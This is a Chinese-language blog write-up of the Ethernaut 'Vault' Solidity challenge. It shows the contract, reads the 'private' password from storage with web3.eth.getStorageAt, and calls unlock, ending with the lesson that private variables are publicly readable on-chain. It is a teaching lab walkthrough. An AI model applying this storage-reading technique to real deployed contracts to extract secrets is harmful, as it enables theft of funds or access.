2023-02-09 vault 第8个任务分析

题目要求:

Unlock the vault to pass the level!
解锁这个合约!

源合约代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

显然 数据都公开在区块链上了。private其实也可以读到数据,就是要费点功夫。

介绍一个函数,web3.eth.getStorageAt,可以看到隐藏在privateinternal背后的数据。

首先执行await web3.eth.getStorageAt(contract.address,1),查看password的bytes字节数据:

0x412076657279207374726f6e67207365637265742070617373776f7264203a29

再执行web3.utils.hexToAscii(await web3.eth.getStorageAt(contract.address,1))

A very strong secret password :)

A very strong secret password :)(笑),这样就知道调用什么函数传入什么数据了

await contract.unlock(web3.utils.hexToAscii(await web3.eth.getStorageAt(contract.address,1)))
await contract.unlock('A very strong secret password :)')

结果搞错了?

304064443913d71dc979ae45b91887297d35e2b4.js:2 Uncaught Error: invalid arrayify value (argument="value", value="A very strong secret password :)00000000000000000000000000000000", code=INVALID_ARGUMENT, version=bytes/5.7.0)
    at <anonymous>:1:16

查了下,不能传入普通字符串,必须是一眼就看出是字节码那种

await contract.unlock(await web3.eth.getStorageAt(contract.address,1))
await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')

注意,getStorageAt必须加await,否则给你搞个错误:

304064443913d71dc979ae45b91887297d35e2b4.js:2 Uncaught TypeError: t.substring is not a function
    at <anonymous>:1:16

可以执行了!
使用await contract.locked()验证下:

false

submit instance,成功!
作者后话:

It's important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible.

To ensure that data is private, it needs to be encrypted before being put onto the blockchain. In this scenario, the decryption key should never be sent on-chain, as it will then be visible to anyone who looks for it. [zk-SNARKs](https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell/) provide a way to determine whether someone possesses a secret parameter, without ever having to reveal the parameter.

重要的是要记住,将变量标记为私有只会阻止其他合约访问它。标记为私有和局部变量的状态变量仍然可以公开访问。

为了确保数据的私密性,在将其放入区块链之前需要对其进行加密。在这种情况下,解密密钥永远不应该在链上发送,因为它对任何寻找它的人都是可见的。 zk-SNARKs 提供了一种方法来确定某人是否拥有秘密参数,而无需透露参数。

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 平台(ropsten测试网络,^0.5.0):https://ropsten.ethernaut.openzepp...
    Watanuki阅读 1,222评论 0 0
  • 【传智播客.黑马程序员训练营成都中心】 solidity(二) 目标 Solidity是一种面向对象的智能合约高级...
    OpenCoder阅读 782评论 0 1
  • 部署本机私有链 区块链说白了就是一个个块链接起来的一个链表结果,所以要在本机生成一个自己的私有链首先要做的就是自己...
    拿破轮胎阅读 1,465评论 0 0
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 137,150评论 19 139
  • 一、区块链 1. 分布式去中心化 比特币设计的初衷就是要避免依赖中心化的机构,没有发行机构,也不可能操纵发行数量。...
    Tenny1225阅读 34,482评论 5 35

友情链接更多精彩内容